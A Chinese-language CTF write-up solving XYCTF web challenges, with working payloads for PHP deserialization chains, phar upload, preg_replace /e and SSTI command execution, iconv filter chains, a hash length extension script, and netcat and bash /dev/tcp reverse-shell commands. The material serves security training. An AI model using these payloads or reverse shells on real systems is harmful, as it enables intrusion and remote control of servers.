ezhttp 打开是登录页面,先看源码,源码提示:
第一反应是robots.txt,进去看看。
得到/l0g1n.txt,进入得到帐号密码:
1 2 username: XYCTFpassword: @JOILha!wuigqi123$
登录后,开始正常修改http请求头,先抓个包,
1 2 3 提示:不是 yuanshen.com 来的我不要 修改:Referer: yuanshen.com
1 2 3 你用的不是XYCTF的浏览器User -Agent: XYCTF
1 2 3 非本地用户禁止访问! x-forwarded-for:127.0.0.1
1 2 3 xff 打咩!!! 把x-forwarded-for:127.0.0.1 改成Client-ip:127.0.0.1
1 2 3 不是从 ymzx.qq.com 代理来的我不玩vi a:ymzx .qq.com
1 2 3 有点饿,想吃点XYCTF的小饼干Cookie: XYCTF
1 2 恭喜你拿到flag! XYCTF{fefa6df3-4 e5e-459 c-8966 -1 dfad17cced4}
最终http包:
1 2 3 4 5 6 7 8 9 10 11 POST /index.php HTTP/1.1 Host : localhost:46497User-Agent : XYCTFContent-Type : application/x-www-form-urlencodedContent-Length : 48Referer : yuanshen.com Client-ip:127.0.0.1 via:ymzx.qq.com Cookie:XYCTFusername =XYCTF&password=%40 JOILha%21 wuigqi123%24
warm up 第一层是md5弱比较
1 val1 =QNKCDZO&val2=QLTHNDT
第二层$md5 == md5($md5)
所以就是找自身和md5加密后都是0e开头 ,且后面都是纯数字的字符串
第三层首先要过$XY == $XYCTF
$XYCTF = “Warm up”;给定了,但是有个extract($_GET);可以变量覆盖。所以我们只需要给XY和XYCTF传相同的值即可。然后要过md5弱比较
1 $XY != "XYCTF_550102591" && md5 ($XY ) == md5 ("XYCTF_550102591" )
经过查询,发现md5(“XYCTF_550102591”)是0e开头的字符串,那么直接老样子绕过即可
1 XY =QLTHNDT&XYCTF=QLTHNDT
最终payload:
1 val1=QNKCDZO&val2 =QLTHNDT&md5 =0e215962017 & XY=QLTHNDT& XYCTF=QLTHNDT
下一关:LLeeevvveeelll222.php
首先要过
1 !preg_match ('/[0-9]/' , $_POST['a' ] ) && intval ($_POST['a' ] )
a不能是数字,但是intval会返回1,了解intval函数特性可以知道:
1 成功时返回 var 的 integer 值,失败时返回 0。 空的 array 返回 0,非空的 array 返回 1。
那么传a[]=a
下一步执行命令:
1 echo preg_replace($_GET ['a' ],$_GET ['b' ],$_GET ['c' ]);
这里是preg_replace在/e模式下可以任意命令执行的特性。
补充一下preg_replace的用法:
1 2 3 4 5 6 <?php $str = 'Visit Microsoft!' ;$pattern = '/microsoft/i' ;echo preg_replace ($pattern , 'W3Schools' , $str );?> 输出:Visit W3Schools!
preg_replace /e 模式下的代码执行
1 2 3 4 <? echo preg_replace ("/test/e" ,$_GET ["h" ],"jutst test" );?> 第二个参数所代表的的内容将被执行
答案很明了了
1 2 3 GET:a=/test/ e&b =system("cat%20/flag" )&c =test POST:a[]=a
ezmd5 让我们上传图片并比较,结合题目名可以猜测应该是比较两个图片的md5值是否相同,用fastcoll工具生成两个相同的图片,然后上传即可。
ezMake 很若至的非预期,出题人居然这个也能忘关flag路由,访问即送flag:
1 http://localhost:39701/flag
正常做法是makefile读取文件内容,在Makefile中,你可以使用$(shell)函数来读取文件内容。
假设你的文件名为file.txt,你可以使用以下命令来读取文件内容:
1 content := $(shell cat file .txt)
上述命令将文件file.txt的内容存储在变量content中。你可以根据需要将其用于后续的操作。
如果你需要按行读取文件内容,可以使用$(shell)函数和foreach函数的结合:
1 lines := $(shell cat file .txt) $(foreach line,$(lines) , \ $(info $(line) ) \ )
把file.txt改成flag即可。
ez?Make fuzz一下,过滤了较多命令,但是nc未过滤,直接连服务器。
牢牢记住,逝者为大 过滤了很多命令,但反引号没过滤,可以用反引号当shell_exec()函数执行命令。
eval前面和后面都有脏数据,最简单的办法是换行和注释绕过。分别在最前和最后加上%0a、%23
这道题没过滤nc,所以照样可以让这边连我们的服务器。
因为cmd有长度限制,所以我们可以用$_GET[1]传递参数。
记得eval中的命令都必须要加分号。
最终payload:
1 ?cmd =%0a`$_GET[1]`;%23&1 =nc ip port -e sh
ezPOP 链子很简单,这里不再赘述:
1 2 3 CCC-> echo $this->c ; 触发AAA-> __toString() AAA->return $this->s -> $p ; 触发BBB-> __get($name ) BBB
链子的起点是__destruct() ,而代码中有throw new Exception(“noooooob!!!”);
这里需要Fast__destruct()
1 2 3 $b [0 ] = $a ;$b [1 ] = NULL ;echo str_replace ("i:1" ,"i:0" ,serialize ($b ));
我们主要看BBB->__get() 方法
1 2 3 4 5 6 7 8 $a =$_POST ['a' ];$b =$_POST ; $c =$this ->c;$d =$this ->d;if (isset ($b ['a' ])) { unset ($b ['a' ]); }call_user_func ($a ,$b )($c )($d );
这里直接给答案再分析。
1 2 3 POST:a =array_pop&2[]=array_popc =array("system");d ="cat /flag" ;
array_pop() 函数删除数组中的最后一个元素。并返回最后一个元素。
第一步变成了:
1 array_pop(array ("array_pop" ))(array ("system" ))("cat /flag" )
第二步变成了:
1 array_pop (array ("system" ))("cat /flag" )
第三步变成了:
最终生成payload的php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php class AAA { public $s ; public $a ; }class BBB { public $c =array ("system" ); public $d ="cat /flag" ; }class CCC { public $c ; }$a = new CCC ();$a ->c = new AAA ();$a ->c->s = new BBB ();$b [0 ] = $a ;$b [1 ] = NULL ;echo str_replace ("i:1" ,"i:0" ,serialize ($b ));
最终payload:
1 2 GET :?xy=a:2 :{i:0 ;O:3 :"CCC" :1 :{s:1 :"c" ;O:3 :"AAA" :2 :{s:1 :"s" ;O:3 :"BBB" :2 :{s:1 :"c" ;a:1 :{i:0 ;s:6 :"system" ;}s:1 :"d" ;s:9 :"cat /flag" ;}s:1 :"a" ;N;}}i:0 ;N;}POST :a=array_pop&2 []=array_pop
ezRCE 安洵杯2020 Web-Bash-Vino0o0o原题削弱版本。
https://xz.aliyun.com/t/8581?time__1311=n4%2BxuDgDBDyDRnzD%2FD0YoQ%2Bq7uI6aCiteD&alichlgref=https%3A%2F%2Fcn.bing.com%2F#toc-3
修改一下官方wp里的脚本。
安洵杯2020 Web-Bash-Vino0o0o这个题数字需要自己构造,但是这里直接给了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 n = dict () n[0 ] = '0' n[1 ] = '1' n[2 ] = '2' n[3 ] = '3' n[4 ] = '4' n[5 ] = '5' n[6 ] = '6' n[7 ] = '7' f='' def str_to_oct (cmd ): s = "" for t in cmd: o = ('%s' % (oct (ord (t))))[2 :] s+='\\' +o return sdef build (cmd ): payload = "$0<<<$0\<\<\<\$\\\'" s = str_to_oct(cmd).split('\\' ) for _ in s[1 :]: payload+="\\\\" for i in _: payload+=n[int (i)] return payload+'\\\'' payload="cat /f*" print (build(payload))
打入payload一把嗦。
我是一个复读机 这个题原来的题目描述可没有”说英语”这三个字,真的谜语题了哈。
登录页面弱口令:
ssti,过滤了大括号,但是汉字就是大括号。
过滤了很多东西。中括号,下划线,关键函数等,这些都可以用request.args绕过
其他就是很平常的ssti注入,这里不再赘述。
1 ?sentence=哈()|attr(request.args.x1)| attr (request.args.x2)|attr(request.args.x3)()| attr (request.args.x4)(221 )|attr(request.args.x5)| attr (request.args.x6)|attr(request.args.x4)(request.args.x7)| attr (request.args.x4)(request.args.x8)(request.args.x9)哈&x1 =__class__ &x2 =__base__ &x3 =__subclasses__ &x4 =__getitem__ &x5 =__init__ &x6 =__globals__ &x7 =__builtins__ &x8 =eval &x9 =__import__ ('os' ).popen('cat%20/flag' ).read()
ezSerialize 第一层需要$this->token === $this->password;
但是这里的token是token=md5(mt_rand());
这里可以用同地址变量绕过。
1 2 3 4 5 6 7 8 <?php class Flag { public $token ; public $password ; }$a = new Flag ();$a ->password = &$a ->token;echo serialize ($a );
这里让password的地址等于token的地址,那么当token改变的时候,我们的password就会相应地一起改变。
下一层:fpclosefpclosefpcloseffflllaaaggg.php
非常基础的反序列化,没有任何技巧,直接给链子。
1 2 3 4 5 6 $a = new E ();$a ->num = new D ();$a ->num->lao = new B ();$a ->num->lao->luo = new A ();$a ->num->lao->luo->mack = new C ();echo serialize ($a );
下一层:saber_master_saber_master.php
主要是这一段:$this->adwa->crypto0 != ‘dev1l’ or $this->adwa->T1ng != ‘yuroandCMD258’
我们知道crypto0和T1ng分别在两个类中,adwa不可能既是XYCTFNO2的对象又是XYCTFNO1的对象。
但是 反序列化的本质,是我们传入的字符串,而不是题目里的,我们完全可以在XYCTFNO1类里装入crypto0和T1ng两个属性,并让adwa成为这个类的一个Object
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php class XYCTFNO1 { public $crypto0 ='dev1l' ; public $T1ng ='yuroandCMD258' ; }class XYCTFNO2 { public $adwa ; }class XYCTFNO3 { public $KickyMu ; public $N1ght = "oSthing" ; } $a = new XYCTFNO3 ();$a ->KickyMu = new XYCTFNO2 ();$a ->KickyMu->adwa = new XYCTFNO1 ();echo serialize ($a );
最后原生类+伪协议读文件
1 echo new $_POST ['X' ]($_POST ['Y' ]);
最终payload:
1 2 3 GET :?CTF=O:8 :"XYCTFNO3" :2 :{s:7 :"KickyMu" ;O:8 :"XYCTFNO2" :1 :{s:4 :"adwa" ;O:8 :"XYCTFNO1" :2 :{s:7 :"crypto0" ;s:5 :"dev1l" ;s:4 :"T1ng" ;s:13 :"yuroandCMD258" ;}}s:5 :"N1ght" ;s:7 :"oSthing" ;}POST :X=SplFileObject&Y=php://filter/read=convert.base64-encode/resource=flag.php
pharme 一眼phar反序列化。源码里提示了class.php,这里可以文件包含。
1、
1 2 3 if ('ch3nx1' === preg_replace ('/;+/' ,'ch3nx1' ,preg_replace ('/[A-Za-z_\(\)]+/' ,'' ,$this ->cmd))){ eval ($this ->cmd.'isbigvegetablechicken!' ); }
主要是这段,if条件判断就是限制我们只能使用:A-Za-z _ ( ) ;
这些东西。很明显是想让我们经行无参数rce。第二个eval那里,后面加了脏数据。可以在命令的最后加上来绕过。
2、在上传页面,后端会检查我们上传的文件里是否含有__halt_compiler();
这里我们可以把我们生成的phar文件添加到压缩包里,然后把压缩包名字改成.jpg即可绕过。
3、在class.php页面的包含点,不能在开头使用phar://,这里可以用
1 compress.zlib:// phar:// /test.phar
4、我们无参数RCE的命令是随机根目录读文件
1 readfile (array_rand (array_flip (scandir (dirname (dirname (dirname (pos (localeconv ()))))))));
5、最终exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php class evil { public $cmd ="readfile(array_rand(array_flip(scandir(dirname(dirname(dirname(pos(localeconv()))))))));__halt_compiler();" ; }$a =new evil (); @unlink ("phar.phar" );$phar = new Phar ("phar.phar" );$phar ->startBuffering ();$phar ->setStub ("GIF89a" ."<?php __HALT_COMPILER(); ?>" ); $phar ->setMetadata ($a ); $phar ->addFromString ("test.txt" , "test" );$phar ->stopBuffering ();?>
将生成的phar文件压缩,改名jpg后上传,然后在class.php页面包含,多刷新几次就有flag了。
连连看到底是连连什么看 源码里只看index,藏了个what’s_this.php,现在源码没用了。这个题出的是最没水平的一个题,首先题目页面的小游戏跟题目毫无关系,其次让我们下载了源码,源码为了让我们知道有这么个php文件,为何要多此一举。
然后这个what’s_this.php的题也是原题了。在hscctf2024里有,当时一个师傅是非预期,这里不再展示。
做这道题我们需要一个工具。PHP_INCLUDE_TO_SHELL_CHAR_DICT
github上有这个工具的源码。
我们需要修改脚本的这个地方为题目中的/etc/passwd
1 file_to_use = "/etc/passwd"
如果直接用这个脚本,生成的数据后方有脏数据,只能过弱比较,但是这里是强比较。
这里的思路是经过多次的base64加密和解密,扔掉后方的脏数据。由于base64加密的次数不清楚,所以我们需要手动测试。
把你需要生成的字符串多次base64编码,**每次编码记得删除后面的=**,然后解密的时候记得自己在payload后面加上相应次数的|convert.base64-decode 多次尝试,直到生成完美的字符串为止。
1 2 3 4 5 6 XYCTF->WFlDVEY= WFlDVEY -> V0ZsRFZFWQ== V0ZsRFZFWQ -> VjBac1JGWkZXUQ== VjBac1JGWkZXUQ -> VmpCYWMxSkdXa1pYVVE= VmpCYWMxSkdXa1pYVVE -> Vm1wQ1lXTXhTa2RYYTFwWVZWRQ== Vm1wQ1lXTXhTa2RYYTFwWVZWRQ -> Vm0xd1ExbFhUWGhUYTJSWVlURndXVlpXUlE=
最后经过测试,六次base64编码后得到的字符串Vm0xd1ExbFhUWGhUYTJSWVlURndXVlpXUlE可以使用。
1 python php_filter_chain_generator.py --chain Vm0xd1ExbFhUWGhUYTJSWVlURndXVlpXUlE
得到的payload我们取php://filter/$p/resource=/etc/passwd题目需要的$p的部分,并在最后加上六次的base64解密|convert.base64-decode
最终payload:
1 ?p=convert.iconv.UTF8.CSISO2022KR|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.INIS.UTF16|convert .iconv.CSIBM1133.IBM943|convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.IBM860.UTF16|convert .iconv.ISO-IR-143. ISO2022CNEXT|convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.JS.UNICODE|convert .iconv.L4.UCS2|convert .iconv.UCS-2. OSF00030010|convert .iconv.CSIBM1008.UTF32BE|convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.CP861.UTF-16 |convert .iconv.L4.GB13000|convert .iconv.BIG5.JOHAB|convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.CSGB2312.UTF-32 |convert .iconv.IBM-1161. IBM932|convert .iconv.GB13000.UTF16BE|convert .iconv.864 .UTF-32 LE|convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.L5.UTF-32 |convert .iconv.ISO88594.GB13000|convert .iconv.CP950.SHIFT_JISX0213|convert .iconv.UHC.JOHAB|convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.L4.UTF32|convert .iconv.CP1250.UCS-2 |convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.IBM869.UTF16|convert .iconv.L3.CSISO90|convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.SE2.UTF-16 |convert .iconv.CSIBM1161.IBM-932 |convert .iconv.BIG5HKSCS.UTF16|convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.L5.UTF-32 |convert .iconv.ISO88594.GB13000|convert .iconv.CP950.SHIFT_JISX0213|convert .iconv.UHC.JOHAB|convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.SE2.UTF-16 |convert .iconv.CSIBM1161.IBM-932 |convert .iconv.MS932.MS936|convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.JS.UNICODE|convert .iconv.L4.UCS2|convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.UTF8.UTF16LE|convert .iconv.UTF8.CSISO2022KR|convert .iconv.UTF16.EUCTW|convert .iconv.8859 _3.UCS2|convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.SE2.UTF-16 |convert .iconv.CSIBM921.NAPLPS|convert .iconv.CP1163.CSA_T500|convert .iconv.UCS-2. MSCP949|convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.INIS.UTF16|convert .iconv.CSIBM1133.IBM943|convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.CP861.UTF-16 |convert .iconv.L4.GB13000|convert .iconv.BIG5.JOHAB|convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.CP-AR.UTF16|convert .iconv.8859 _4.BIG5HKSCS|convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.SE2.UTF-16 |convert .iconv.CSIBM921.NAPLPS|convert .iconv.CP1163.CSA_T500|convert .iconv.UCS-2. MSCP949|convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.CP861.UTF-16 |convert .iconv.L4.GB13000|convert .iconv.BIG5.JOHAB|convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.PT.UTF32|convert .iconv.KOI8-U.IBM-932 |convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.CP869.UTF-32 |convert .iconv.MACUK.UCS4|convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.CP-AR.UTF16|convert .iconv.8859 _4.BIG5HKSCS|convert .iconv.MSCP1361.UTF-32 LE|convert .iconv.IBM932.UCS-2 BE|convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.INIS.UTF16|convert .iconv.CSIBM1133.IBM943|convert .iconv.GBK.SJIS|convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.INIS.UTF16|convert .iconv.CSIBM1133.IBM943|convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.CP-AR.UTF16|convert .iconv.8859 _4.BIG5HKSCS|convert .iconv.MSCP1361.UTF-32 LE|convert .iconv.IBM932.UCS-2 BE|convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.CP861.UTF-16 |convert .iconv.L4.GB13000|convert .iconv.BIG5.JOHAB|convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.CP861.UTF-16 |convert .iconv.L4.GB13000|convert .iconv.BIG5.JOHAB|convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.JS.UNICODE|convert .iconv.L4.UCS2|convert .iconv.UCS-4 LE.OSF05010001|convert .iconv.IBM912.UTF-16 LE|convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.INIS.UTF16|convert .iconv.CSIBM1133.IBM943|convert .iconv.GBK.BIG5|convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.UTF8.UTF16LE|convert .iconv.UTF8.CSISO2022KR|convert .iconv.UCS2.UTF8|convert .iconv.8859 _3.UCS2|convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.CP861.UTF-16 |convert .iconv.L4.GB13000|convert .iconv.BIG5.JOHAB|convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.CP861.UTF-16 |convert .iconv.L4.GB13000|convert .iconv.BIG5.JOHAB|convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.CSGB2312.UTF-32 |convert .iconv.IBM-1161. IBM932|convert .iconv.GB13000.UTF16BE|convert .iconv.864 .UTF-32 LE|convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.SE2.UTF-16 |convert .iconv.CSIBM921.NAPLPS|convert .iconv.CP1163.CSA_T500|convert .iconv.UCS-2. MSCP949|convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.PT.UTF32|convert .iconv.KOI8-U.IBM-932 |convert .iconv.SJIS.EUCJP-WIN|convert .iconv.L10.UCS4|convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.DEC.UTF-16 |convert .iconv.ISO8859-9. ISO_6937-2 |convert .iconv.UTF16.GB13000|convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.CSGB2312.UTF-32 |convert .iconv.IBM-1161. IBM932|convert .iconv.GB13000.UTF16BE|convert .iconv.864 .UTF-32 LE|convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.PT.UTF32|convert .iconv.KOI8-U.IBM-932 |convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.PT.UTF32|convert .iconv.KOI8-U.IBM-932 |convert .iconv.SJIS.EUCJP-WIN|convert .iconv.L10.UCS4|convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.CP-AR.UTF16|convert .iconv.8859 _4.BIG5HKSCS|convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.L6.UNICODE|convert .iconv.CP1282.ISO-IR-90 |convert .iconv.CSA_T500-1983. UCS-2 BE|convert .iconv.MIK.UCS2|convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.L6.UNICODE|convert .iconv.CP1282.ISO-IR-90 |convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.JS.UNICODE|convert .iconv.L4.UCS2|convert .iconv.UTF16.EUC-JP-MS|convert .iconv.ISO-8859 -1. ISO_6937|convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.MAC.UTF16|convert .iconv.L8.UTF16BE|convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.UTF8.UTF16LE|convert .iconv.UTF8.CSISO2022KR|convert .iconv.UCS2.UTF8|convert .iconv.8859 _3.UCS2|convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.SE2.UTF-16 |convert .iconv.CSIBM921.NAPLPS|convert .iconv.CP1163.CSA_T500|convert .iconv.UCS-2. MSCP949|convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.CP861.UTF-16 |convert .iconv.L4.GB13000|convert .iconv.BIG5.JOHAB|convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .base64-decode|convert .base64-decode|convert .base64-decode|convert .base64-decode|convert .base64-decode|convert .base64-decode|convert .base64-decode
ezClass 还是原生类,这里需要一个类里的一个方法,我们传什么就会return什么
1 ?a =ArrayIterator&aa[]=system&b =ArrayIterator&bb[]=cat /f*&c =current
ArrayIterator类里的current需要一个数组,会返回数组当前的元素。
login 有个register.php可以注册帐号,随便注册一个,随便登录,然后拿到cookie,一眼丁真是pickle反序列化,经过测试,发现过滤了R__reduce__
就换一种方式执行命令即可
1 2 3 4 5 6 import base64 a='''(S"bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'" ios system .''' print (base64.b64encode(a.encode()))
然后把payload打到cookie里,服务器开启监听反弹shell
give me flag hash长度扩展攻击,去github上下载一个脚本,https://github.com/shellfeel/hash-ext-attack
在当前目录把脚本放进去
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 import base64import hashlibimport hmacimport structimport sysimport timeimport urllib.parseimport timeimport requestsfrom common.md5_manual import md5_manualfrom loguru import loggerfrom common.crypto_utils import CryptoUtilsclass HashExtAttack : """ 哈希长度扩展攻击,解决 hashpump 在win下使用困难的问题 目前仅支持md5,如果你对认证算法有了解可以手动改写str_add中的字符串拼接方式 """ def __init__ (self ): self.know_text = b"" self.know_text_padding = b"" self.new_text = b"" self.rand_str = b'' self.know_hash = b"" self.key_length = b'' def _padding_msg (self ): """填充明文""" logger.debug("填充明文" ) self.know_text_padding = md5_manual.padding_str(self.know_text) logger.debug(f"已知明文填充:{self.know_text_padding} " ) def _gen_new_plain_text (self ): """生成新明文""" self.new_text = self.know_text_padding + self.rand_str logger.debug(f"new_text: {self.new_text} " ) def split_hash (self, hash_str: bytes ): by_new = CryptoUtils.trans_str_origin2_bytes(hash_str.decode()) return struct.unpack("<IIII" , by_new) def _guess_new_hash (self ) -> tuple : """生成新hash""" self._padding_msg() self._gen_new_plain_text() hash_block = self.split_hash(hash_str=self.know_hash) md5_manual.A, md5_manual.B, md5_manual.C, md5_manual.D = hash_block tmp_str = md5_manual.padding_str(self.new_text) logger.debug(f"新明文填充tmp_str({len (tmp_str)} ): {tmp_str} " ) logger.debug(f"参与手工分块计算的byte:{tmp_str[-64 :]} " ) md5_manual.solve(tmp_str[-64 :]) self.new_hash = md5_manual.hex_digest() return self.new_text, self.new_hash def run (self, know_text, know_hash, rand_str, key_len ) -> tuple : self.know_text = ("*" * key_len + know_text).encode() self.know_hash = know_hash.encode() self.rand_str = rand_str.encode() self._guess_new_hash() return self.new_text[key_len:], self.new_hash def input_run (self ): time1=int (time.time()) + 5 result=self.run("" ,"1cbc8a45c3f0166bff9eb656bfd073c4" ,str (time1),43 ) encoded_text=urllib.parse.quote(result[0 ]) while (1 ): re1=requests.get('http://localhost:32985/?value=' +encoded_text[:encoded_text.index('171' )]+'&md5=' +result[1 ]) print (1 ) if 'yes' in re1.text: print (re1.text) break hash_ext_attack = HashExtAttack()if __name__ == '__main__' : logger.remove() logger.add(sys.stderr, level="INFO" ) hash_ext_attack.input_run()
每七八秒跑一次脚本,多跑几次就能出。
关于flag长度,推测是uuid长度+xyctf{}的长度为36+7=43
εZ?¿м@Kε¿?
ezLFI 通用文件包含:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 php://filter/convert.iconv.UTF8.CSISO2022KR|convert .base64- encode|convert .iconv.UTF8.UTF7|convert .iconv.UTF8.UTF16|convert .iconv.WINDOWS-1258. UTF32LE|convert .iconv.ISIRI3342.ISO-IR-157 |convert .base64-decode|convert .base64- encode|convert .iconv.UTF8.UTF7|convert .iconv.ISO2022KR.UTF16|convert .iconv.L6.UCS2|conver t.base64-decode|convert .base64- encode|convert .iconv.UTF8.UTF7|convert .iconv.INIS.UTF16|convert .iconv.CSIBM1133.IBM943|co nvert.iconv.IBM932.SHIFT_JISX0213|convert .base64-decode|convert .base64- encode|convert .iconv.UTF8.UTF7|convert .iconv.CP367.UTF-16 |convert .iconv.CSIBM901.SHIFT_JISX0213|convert .iconv.UHC.CP1361|convert .base64- decode|convert .base64- encode|convert .iconv.UTF8.UTF7|convert .iconv.INIS.UTF16|convert .iconv.CSIBM1133.IBM943|co nvert.iconv.GBK.BIG5|convert .base64-decode|convert .base64- encode|convert .iconv.UTF8.UTF7|convert .iconv.CP861.UTF-16 |convert .iconv.L4.GB13000|convert .base64-decode|convert .base64- encode|convert .iconv.UTF8.UTF7|convert .iconv.865 .UTF16|convert .iconv.CP901.ISO6937|conver t.base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.SE2.UTF-16 |convert .iconv.CSIBM1161.IBM-932 |convert .iconv.MS932.MS936|convert .base64- decode|convert .base64- encode|convert .iconv.UTF8.UTF7|convert .iconv.INIS.UTF16|convert .iconv.CSIBM1133.IBM943|co nvert.base64-decode|convert .base64- encode|convert .iconv.UTF8.UTF7|convert .iconv.CP861.UTF-16 |convert .iconv.L4.GB13000|convert .iconv.BIG5.JOHAB|convert .base64- decode|convert .base64- encode|convert .iconv.UTF8.UTF7|convert .iconv.UTF8.UTF16LE|convert .iconv.UTF8.CSISO2022KR |convert .iconv.UCS2.UTF8|convert .iconv.8859 _3.UCS2|convert .base64-decode|convert .base64- encode|convert .iconv.UTF8.UTF7|convert .iconv.PT.UTF32|convert .iconv.KOI8-U.IBM-932 |convert .iconv.SJIS.EUCJP-WIN|convert .iconv.L10.UCS4|convert .base64- decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.CP367.UTF-16 |convert .iconv.CSIBM901.SHIFT_JISX0213|convert .base64-decode|convert .base64- encode|convert .iconv.UTF8.UTF7|convert .iconv.PT.UTF32|convert .iconv.KOI8-U.IBM-932 |convert .iconv.SJIS.EUCJP-WIN|convert .iconv.L10.UCS4|convert .base64- decode|convert .base64- encode|convert .iconv.UTF8.UTF7|convert .iconv.UTF8.CSISO2022KR|convert .base64- decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.CP367.UTF-16 |convert .iconv.CSIBM901.SHIFT_JISX0213|convert .iconv.UHC.CP1361|convert .base64- decode|convert .base64- encode|convert .iconv.UTF8.UTF7|convert .iconv.CSIBM1161.UNICODE|convert .iconv.ISO-IR-156. JOHAB|convert .base64-decode|convert .base64- encode|convert .iconv.UTF8.UTF7|convert .iconv.ISO2022KR.UTF16|convert .iconv.L6.UCS2|conver t.base64-decode|convert .base64- encode|convert .iconv.UTF8.UTF7|convert .iconv.INIS.UTF16|convert .iconv.CSIBM1133.IBM943|co nvert.iconv.IBM932.SHIFT_JISX0213|convert .base64-decode|convert .base64- encode|convert .iconv.UTF8.UTF7|convert .iconv.SE2.UTF-16 |convert .iconv.CSIBM1161.IBM-932 |convert .iconv.MS932.MS936|convert .iconv.BIG5.JOHAB|convert .base64- decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .base64- decode/resource=php://temp&0 =/readflag